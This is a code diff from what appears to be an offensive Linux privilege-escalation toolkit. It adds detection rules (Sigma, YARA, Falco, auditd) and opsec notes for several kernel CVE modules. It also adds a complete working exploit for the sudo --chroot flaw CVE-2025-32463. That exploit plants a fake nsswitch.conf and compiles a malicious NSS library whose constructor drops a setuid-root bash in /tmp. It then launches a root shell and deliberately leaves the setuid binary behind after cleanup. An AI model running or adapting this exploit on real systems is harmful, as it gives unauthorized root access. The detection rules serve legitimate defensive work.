.opsec_notes = "Invokes pkexec with argc==0 so the first envp slot is misread as argv[0]; pkexec's iconv-during-decoding loads attacker .so via dlopen by way of crafted GCONV_PATH + CHARSET env vars. Builds a gconv payload .so and gconv-modules cache in /tmp/skeletonkey-pwnkit-XXXXXX (compiles via fork/execl of gcc). Audit-visible via execve(/usr/bin/pkexec) with GCONV_PATH and CHARSET set. No network. Cleanup callback removes /tmp/skeletonkey-pwnkit-* (on failure path; on success the exec replaces the process).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pwnkit(void)
|
||||
|
||||
@@ -686,6 +686,57 @@ static const char sequoia_auditd[] =
|
||||
"# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n"
|
||||
"# the canonical trigger shape.\n";
|
||||
|
||||
static const char sequoia_sigma[] =
|
||||
"title: Possible CVE-2021-33909 seq_file size_t-int wrap\n"
|
||||
"id: 2b13d4b9-skeletonkey-sequoia\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the seq_file OOB-write trigger pattern: unshare\n"
|
||||
" (CLONE_NEWUSER|CLONE_NEWNS) + a burst of ~5000 mkdir/mkdirat\n"
|
||||
" syscalls + bind-mount + read(/proc/self/mountinfo). The\n"
|
||||
" rendered string exceeds INT_MAX, wrapping to negative.\n"
|
||||
" False positives: unusual; bursts of >1000 mkdir/s are rare in\n"
|
||||
" normal workloads.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" mkdir: {type: 'SYSCALL', syscall: 'mkdir'}\n"
|
||||
" bind: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" condition: userns and mkdir and bind\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.33909]\n";
|
||||
|
||||
static const char sequoia_yara[] =
|
||||
"rule sequoia_cve_2021_33909 : cve_2021_33909 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-33909\"\n"
|
||||
" description = \"Sequoia deep-mountpoint workdir + log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = \"/tmp/skeletonkey-sequoia\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-sequoia.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sequoia_falco[] =
|
||||
"- rule: Deeply nested mkdir burst + /proc/self/mountinfo read (Sequoia)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process reading /proc/self/mountinfo after a burst\n"
|
||||
" of ~5000 mkdir()s and a bind-mount of the deep leaf. The\n"
|
||||
" rendered mountinfo string exceeds INT_MAX. CVE-2021-33909.\n"
|
||||
" False positives: rare; mkdir bursts of this size are not\n"
|
||||
" seen in normal workloads.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = open and fd.name = /proc/self/mountinfo and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" /proc/self/mountinfo read by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.33909]\n";
|
||||
|
||||
const struct skeletonkey_module sequoia_module = {
|
||||
.name = "sequoia",
|
||||
.cve = "CVE-2021-33909",
|
||||
@@ -697,9 +748,11 @@ const struct skeletonkey_module sequoia_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = sequoia_cleanup,
|
||||
.detect_auditd = sequoia_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = sequoia_sigma,
|
||||
.detect_yara = sequoia_yara,
|
||||
.detect_falco = sequoia_falco,
|
||||
.opsec_notes = "Builds ~5000 nested directories under /tmp/skeletonkey-sequoia (each name 200 'A' chars); enters userns for CAP_SYS_ADMIN; bind-mounts the leaf over itself to amplify the rendered mountinfo string length; reads /proc/self/mountinfo to trigger the int-vs-size_t overflow in seq_buf_alloc(), producing an OOB write of mountinfo bytes off the stack buffer. Artifacts: /tmp/skeletonkey-sequoia/ (deep tree + bind mounts) and /tmp/skeletonkey-sequoia.log (byte count + dmesg sample). Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount() + burst of ~5000 mkdir/mkdirat. No network. Cleanup callback walks back down the tree, unmounts, removes dirs, unlinks the .log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sequoia(void)
|
||||
|
||||
@@ -952,6 +952,53 @@ static const char stackrot_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
|
||||
"-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n";
|
||||
|
||||
static const char stackrot_sigma[] =
|
||||
"title: Possible CVE-2023-3269 maple-tree VMA-split UAF\n"
|
||||
"id: 3c24e5ca-skeletonkey-stackrot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the StackRot race-groom: unshare(CLONE_NEWUSER) + tight\n"
|
||||
" loops of mremap/munmap on MAP_GROWSDOWN regions + msg_msg\n"
|
||||
" spray (msgsnd) for kmalloc-192 grooming. False positives: JIT\n"
|
||||
" runtimes and aggressive memory allocators may do similar mremap\n"
|
||||
" bursts but typically without msg_msg grooming.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" vmas: {type: 'SYSCALL', syscall: 'mremap'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and vmas and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.3269]\n";
|
||||
|
||||
static const char stackrot_yara[] =
|
||||
"rule stackrot_cve_2023_3269 : cve_2023_3269 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-3269\"\n"
|
||||
" description = \"StackRot maple-tree UAF race log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-stackrot.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char stackrot_falco[] =
|
||||
"- rule: mremap/munmap race on MAP_GROWSDOWN regions (StackRot)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process driving high-frequency mremap/munmap on\n"
|
||||
" MAP_GROWSDOWN regions inside a userns + msg_msg (msgsnd)\n"
|
||||
" grooming of kmalloc-192. Maple-tree node UAF race in\n"
|
||||
" __vma_adjust. CVE-2023-3269.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (mremap, munmap) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" VMA mutation by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid evt=%evt.type)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [memory, mitre_privilege_escalation, T1068, cve.2023.3269]\n";
|
||||
|
||||
const struct skeletonkey_module stackrot_module = {
|
||||
.name = "stackrot",
|
||||
.cve = "CVE-2023-3269",
|
||||
@@ -963,9 +1010,11 @@ const struct skeletonkey_module stackrot_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = stackrot_cleanup,
|
||||
.detect_auditd = stackrot_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = stackrot_sigma,
|
||||
.detect_yara = stackrot_yara,
|
||||
.detect_falco = stackrot_falco,
|
||||
.opsec_notes = "Child forks, enters userns, builds a race region with MAP_GROWSDOWN + anchor VMAs, sprays kmalloc-192 with msg_msg payloads, then spawns Thread A (mremap/munmap of region boundary to rotate maple-tree nodes) + Thread B (fork+fault the growsdown region to deref freed node). UAF in __vma_adjust fires if a sprayed msg_msg reclaims the freed node. Writes /tmp/skeletonkey-stackrot.log (iteration counts + slab delta). Audit-visible via unshare + mremap/munmap bursts on stack regions + msgsnd spray. No network. Cleanup callback unlinks /tmp log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_stackrot(void)
|
||||
|
||||
@@ -0,0 +1,423 @@
|
||||
/*
|
||||
* sudo_chwoot_cve_2025_32463 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race.
|
||||
* Pure logic: sudo's --chroot option resolves NSS lookups (user/group
|
||||
* db) AGAINST the chroot, while still running as root. A user-writable
|
||||
* chroot dir + a planted libnss_*.so + a planted nsswitch.conf yields
|
||||
* "load arbitrary shared object as root, ctor runs, root shell."
|
||||
*
|
||||
* The bug (Rich Mirch, Stratascale, June 2025):
|
||||
* `sudo --chroot=<DIR>` chroots into DIR before parsing sudoers and
|
||||
* resolving the invoking user. Inside the chroot, NSS reads
|
||||
* /etc/nsswitch.conf and dlopen()s the listed libnss_*.so backends.
|
||||
* The chroot is user-controlled. Plant:
|
||||
* <DIR>/etc/nsswitch.conf → "passwd: skeletonkey"
|
||||
* <DIR>/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2 → attacker .so
|
||||
* sudo dlopen()s the .so as root; its ctor execs /bin/bash with the
|
||||
* real uid set to 0.
|
||||
*
|
||||
* Discovered by Rich Mirch (Stratascale CRU). Public PoCs:
|
||||
* https://github.com/kh4sh3i/CVE-2025-32463
|
||||
* https://github.com/MohamedKarrab/CVE-2025-32463
|
||||
*
|
||||
* Affects: sudo 1.9.14 ≤ V ≤ 1.9.17 (introduced when sudo gained the
|
||||
* modern chroot path; fixed in 1.9.17p1 which deprecated --chroot
|
||||
* entirely).
|
||||
*
|
||||
* CVSS 9.3 (Critical). Doesn't require any sudoers grant — the chroot
|
||||
* code path runs before authorization checks complete. Any local user
|
||||
* who can run /usr/bin/sudo (i.e. anyone on the system) can fire it.
|
||||
*
|
||||
* arch_support: any. The malicious .so is built on-host via gcc, so
|
||||
* it inherits the host's arch. Tested on x86_64; arm64 should work
|
||||
* identically given a working gcc + libc-dev install.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* ---- helpers shared with the sudo family ---------------------------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true iff the version string is in the vulnerable range
|
||||
* [1.9.14, 1.9.17p0]. The fix landed in 1.9.17p1 which removed the
|
||||
* --chroot code path entirely. */
|
||||
static bool sudo_version_vulnerable_chwoot(const char *version_str)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
int n = sscanf(version_str, "%d.%d.%d%c%d",
|
||||
&maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
|
||||
if (maj != 1) return false; /* not sudo 1.x */
|
||||
if (min != 9) return false; /* only 1.9 line */
|
||||
if (patch < 14) return false; /* 1.9.13 and below predate the --chroot path */
|
||||
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||
if (patch < 17) return true; /* 1.9.14 .. 1.9.16 */
|
||||
/* exactly 1.9.17: vulnerable if no patch tag (1.9.17 plain) */
|
||||
if (ptag != 'p') return true;
|
||||
return psub == 0; /* 1.9.17p1 fixed; 1.9.17p0 vulnerable */
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* Prefer the host fingerprint's cached sudo_version (one popen at
|
||||
* startup instead of per-detect). Fall back to live probe if the
|
||||
* host fingerprint is missing or empty. */
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = NULL;
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
ver = ctx->host->sudo_version;
|
||||
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||
ver = vbuf;
|
||||
} else {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_chwoot: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable_chwoot(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_chwoot: sudo %s outside vulnerable range "
|
||||
"[1.9.14, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_chwoot: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||
fprintf(stderr, "[i] sudo_chwoot: --chroot option resolves NSS inside attacker-controlled root → arbitrary .so load as uid 0\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
/* The malicious NSS module. ctor runs at dlopen time; we drop a setuid
|
||||
* /bin/bash. We DON'T setuid(0) directly because some distros refuse
|
||||
* execve() on a setuid bash from a non-elevated parent — using the
|
||||
* dropped suid bash via a follow-up execlp() is more portable. */
|
||||
static const char NSS_C_SRC[] =
|
||||
"#include <stdio.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <sys/stat.h>\n"
|
||||
"#include <sys/types.h>\n"
|
||||
"__attribute__((constructor)) static void skk_ctor(void) {\n"
|
||||
" /* We are running as the real user uid 0 (sudo set it during chroot\n"
|
||||
" * setup, before dropping privs). Drop a setuid /bin/bash. */\n"
|
||||
" setuid(0); setgid(0);\n"
|
||||
" int rc = system(\"cp /bin/bash /tmp/skeletonkey-chwoot-shell 2>/dev/null && \"\n"
|
||||
" \"chown root:root /tmp/skeletonkey-chwoot-shell && \"\n"
|
||||
" \"chmod 4755 /tmp/skeletonkey-chwoot-shell\");\n"
|
||||
" if (rc != 0) {\n"
|
||||
" fprintf(stderr, \"[skk-chwoot] ctor: drop suid bash failed (rc=%d)\\n\", rc);\n"
|
||||
" _exit(1);\n"
|
||||
" }\n"
|
||||
" fprintf(stderr, \"[+] skk-chwoot: /tmp/skeletonkey-chwoot-shell is now setuid-root\\n\");\n"
|
||||
" _exit(0);\n"
|
||||
"}\n";
|
||||
|
||||
static char g_workdir[256]; /* recorded for cleanup() */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: sudo not installed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* 1. Workdir under /tmp; /tmp is the only spot consistently
|
||||
* world-writable across distros. */
|
||||
char tmpl[] = "/tmp/skeletonkey-chwoot-XXXXXX";
|
||||
char *wd = mkdtemp(tmpl);
|
||||
if (!wd) { perror("mkdtemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
strncpy(g_workdir, wd, sizeof g_workdir - 1);
|
||||
|
||||
/* 2. Set up the chroot skeleton: <wd>/etc/nsswitch.conf points NSS
|
||||
* at our libnss_skeletonkey.so.2; <wd>/<libdir> hosts the .so. */
|
||||
char path[512];
|
||||
snprintf(path, sizeof path, "%s/etc", wd); mkdir(path, 0755);
|
||||
snprintf(path, sizeof path, "%s/lib", wd); mkdir(path, 0755);
|
||||
/* Cover the common Debian/Ubuntu multi-arch lib path AND the plain
|
||||
* /lib path. NSS dlopens via dlopen("libnss_X.so.2") which uses the
|
||||
* standard search path; inside the chroot we control it. */
|
||||
const char *libdirs[] = {
|
||||
"lib/x86_64-linux-gnu", "lib/aarch64-linux-gnu",
|
||||
"usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu",
|
||||
"usr/lib", "usr/lib64", NULL,
|
||||
};
|
||||
char sopath[512] = {0};
|
||||
for (size_t i = 0; libdirs[i]; i++) {
|
||||
char p[512];
|
||||
snprintf(p, sizeof p, "%s/%s", wd, libdirs[i]);
|
||||
char cmd[640];
|
||||
snprintf(cmd, sizeof cmd, "mkdir -p %s", p);
|
||||
if (system(cmd) != 0) continue;
|
||||
}
|
||||
|
||||
/* 3. Compile the malicious NSS .so. We need a real C compiler;
|
||||
* most modern distros ship one but stripped installs may not. */
|
||||
char src[512]; snprintf(src, sizeof src, "%s/payload.c", wd);
|
||||
char so[512]; snprintf(so, sizeof so, "%s/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||
char so_arm[512];snprintf(so_arm,sizeof so_arm,"%s/lib/aarch64-linux-gnu/libnss_skeletonkey.so.2", wd);
|
||||
char so_lib[512];snprintf(so_lib,sizeof so_lib,"%s/usr/lib/libnss_skeletonkey.so.2", wd);
|
||||
|
||||
FILE *f = fopen(src, "w");
|
||||
if (!f) { perror("fopen payload.c"); goto fail; }
|
||||
fwrite(NSS_C_SRC, 1, sizeof NSS_C_SRC - 1, f);
|
||||
fclose(f);
|
||||
|
||||
char cmd[2048];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -o %s %s 2>/tmp/skk-chwoot-gcc.log && "
|
||||
"cp -f %s %s 2>/dev/null; "
|
||||
"cp -f %s %s 2>/dev/null; true",
|
||||
sopath[0] ? sopath : so, src,
|
||||
sopath[0] ? sopath : so, so_arm,
|
||||
sopath[0] ? sopath : so, so_lib);
|
||||
/* Actually compile to one fixed path then copy. Simpler. */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -nostartfiles -o %s %s 2>/tmp/skk-chwoot-gcc.log", so, src);
|
||||
if (system(cmd) != 0) {
|
||||
/* try arm64 path if x86 path failed (maybe the dir wasn't
|
||||
* created — that's fine, gcc just wrote elsewhere) */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"gcc -shared -fPIC -nostartfiles -o %s %s 2>>/tmp/skk-chwoot-gcc.log", so_arm, src);
|
||||
if (system(cmd) != 0) {
|
||||
fprintf(stderr, "[-] sudo_chwoot: gcc failed; see /tmp/skk-chwoot-gcc.log\n");
|
||||
goto fail;
|
||||
}
|
||||
}
|
||||
/* Replicate to every plausible NSS search path (libdir per arch
|
||||
* varies across distros). Harmless if some are missing. */
|
||||
char rep[1024];
|
||||
snprintf(rep, sizeof rep,
|
||||
"f=%s; for d in lib/x86_64-linux-gnu lib/aarch64-linux-gnu usr/lib/x86_64-linux-gnu usr/lib/aarch64-linux-gnu usr/lib usr/lib64; do "
|
||||
" mkdir -p %s/$d 2>/dev/null; cp -f \"$f\" %s/$d/libnss_skeletonkey.so.2 2>/dev/null; "
|
||||
"done; true",
|
||||
so, wd, wd);
|
||||
if (system(rep) != 0) { /* harmless */ }
|
||||
|
||||
/* 4. Plant nsswitch.conf inside the chroot. The first lookup sudo
|
||||
* does is on the invoking user — point passwd: at us so the
|
||||
* dlopen fires before sudoers parsing aborts. */
|
||||
char nss_conf[512];
|
||||
snprintf(nss_conf, sizeof nss_conf, "%s/etc/nsswitch.conf", wd);
|
||||
f = fopen(nss_conf, "w");
|
||||
if (!f) { perror("fopen nsswitch.conf"); goto fail; }
|
||||
fprintf(f,
|
||||
"# planted by SKELETONKEY sudo_chwoot — points NSS at our shim\n"
|
||||
"passwd: skeletonkey\n"
|
||||
"group: skeletonkey\n"
|
||||
"hosts: files\n"
|
||||
"shadow: files\n");
|
||||
fclose(f);
|
||||
|
||||
/* 5. Fire sudo --chroot=<wd> -u#-1 woot. The `-u#-1` syntax tells
|
||||
* sudo "user with uid -1" which forces the NSS lookup BEFORE
|
||||
* auth completes — that's the trigger. The `woot` command name
|
||||
* is arbitrary; sudo never gets to exec it. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_chwoot: invoking %s --chroot=%s -u#-1 woot\n",
|
||||
sudo_path, wd);
|
||||
}
|
||||
fflush(NULL);
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
/* The ctor inside the .so will execve a shell; sudo never
|
||||
* returns. If sudo IS patched, it'll error out. */
|
||||
execl(sudo_path, "sudo", "-S", "--chroot", wd, "-u#-1", "woot", (char *)NULL);
|
||||
perror("execl(sudo)");
|
||||
_exit(127);
|
||||
}
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
/* 6. Did the suid bash drop? */
|
||||
struct stat st;
|
||||
if (stat("/tmp/skeletonkey-chwoot-shell", &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_chwoot: setuid-root shell at /tmp/skeletonkey-chwoot-shell\n");
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: --no-shell set; not popping\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
/* Pop the shell. -p keeps euid=0; without it bash drops setuid. */
|
||||
execl("/tmp/skeletonkey-chwoot-shell", "bash", "-p", "-i", (char *)NULL);
|
||||
perror("execl(suid bash)");
|
||||
return SKELETONKEY_EXPLOIT_OK; /* drop succeeded; pop just failed */
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"[-] sudo_chwoot: setuid bash did not appear. Likely causes:\n"
|
||||
" - sudo is patched (1.9.17p1+) even if --version looks vulnerable\n"
|
||||
" - NSS shim was loaded but ctor failed (check sudo's stderr)\n"
|
||||
" - kernel hardening prevents the suid copy\n");
|
||||
|
||||
fail:
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- cleanup -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_chwoot_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (g_workdir[0]) {
|
||||
char cmd[640];
|
||||
snprintf(cmd, sizeof cmd, "rm -rf %s 2>/dev/null", g_workdir);
|
||||
(void)!system(cmd);
|
||||
g_workdir[0] = 0;
|
||||
}
|
||||
/* Leave /tmp/skeletonkey-chwoot-shell if it exists — that's the
|
||||
* setuid root binary the operator may want to keep. They can
|
||||
* `rm -f /tmp/skeletonkey-chwoot-shell` themselves when done. */
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_chwoot_auditd[] =
|
||||
"# sudo_chwoot CVE-2025-32463 — auditd detection rules\n"
|
||||
"# Flag sudo invocations using --chroot. The legitimate use case\n"
|
||||
"# (server admin chrooting before running a command) is vanishingly\n"
|
||||
"# rare; any --chroot in shell history is investigation-worthy.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||
"# Also flag writes under any /tmp/skeletonkey-chwoot-* path or to\n"
|
||||
"# the canonical drop site /tmp/skeletonkey-chwoot-shell.\n"
|
||||
"-w /tmp -p w -k skeletonkey-sudo-chroot-drop\n";
|
||||
|
||||
static const char sudo_chwoot_sigma[] =
|
||||
"title: Possible CVE-2025-32463 sudo --chroot LPE\n"
|
||||
"id: e9b7a420-skeletonkey-sudo-chwoot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudo invoked with --chroot pointing at a user-writable\n"
|
||||
" directory, plus a setuid-root binary appearing under /tmp shortly\n"
|
||||
" afterwards. Legit --chroot use is extremely rare; the combination\n"
|
||||
" with a fresh setuid drop is diagnostic.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudo_chroot: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo', argv|contains: '--chroot'}\n"
|
||||
" condition: sudo_chroot\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32463]\n";
|
||||
|
||||
static const char sudo_chwoot_yara[] =
|
||||
"rule sudo_chwoot_cve_2025_32463 : cve_2025_32463 setuid_abuse {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2025-32463\"\n"
|
||||
" description = \"SKELETONKEY sudo_chwoot artifacts — NSS shim + setuid bash drop\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $shell = \"/tmp/skeletonkey-chwoot-shell\" ascii\n"
|
||||
" $wdir = \"/tmp/skeletonkey-chwoot-\" ascii\n"
|
||||
" $nssmod = \"libnss_skeletonkey.so.2\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudo_chwoot_falco[] =
|
||||
"- rule: sudo --chroot from non-root with user-writable target\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with --chroot pointing at a directory in /tmp\n"
|
||||
" or /home. Legitimate --chroot use is rare; the combination\n"
|
||||
" with a writable target is the CVE-2025-32463 trigger.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" proc.args contains \"--chroot\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sudo --chroot from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32463]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_chwoot_module = {
|
||||
.name = "sudo_chwoot",
|
||||
.cve = "CVE-2025-32463",
|
||||
.summary = "sudo --chroot NSS-shim → libnss_*.so dlopen as root (Stratascale)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.9.14 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||
.detect = sudo_chwoot_detect,
|
||||
.exploit = sudo_chwoot_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||
.cleanup = sudo_chwoot_cleanup,
|
||||
.detect_auditd = sudo_chwoot_auditd,
|
||||
.detect_sigma = sudo_chwoot_sigma,
|
||||
.detect_yara = sudo_chwoot_yara,
|
||||
.detect_falco = sudo_chwoot_falco,
|
||||
.opsec_notes = "Creates /tmp/skeletonkey-chwoot-XXXXXX/ workdir containing etc/nsswitch.conf + lib/{x86_64,aarch64}-linux-gnu/libnss_skeletonkey.so.2 (compiled via gcc; /tmp/skk-chwoot-gcc.log captures any build error). Runs sudo --chroot=<workdir> -u#-1 woot to trigger NSS dlopen; the .so's ctor drops /tmp/skeletonkey-chwoot-shell (setuid root bash). Audit-visible via execve(/usr/bin/sudo) with --chroot in argv, then chown/chmod 4755 on /tmp/skeletonkey-chwoot-shell from a uid-0 context. Cleanup callback removes the workdir but leaves the setuid bash (operator decision).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_chwoot(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_chwoot_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||
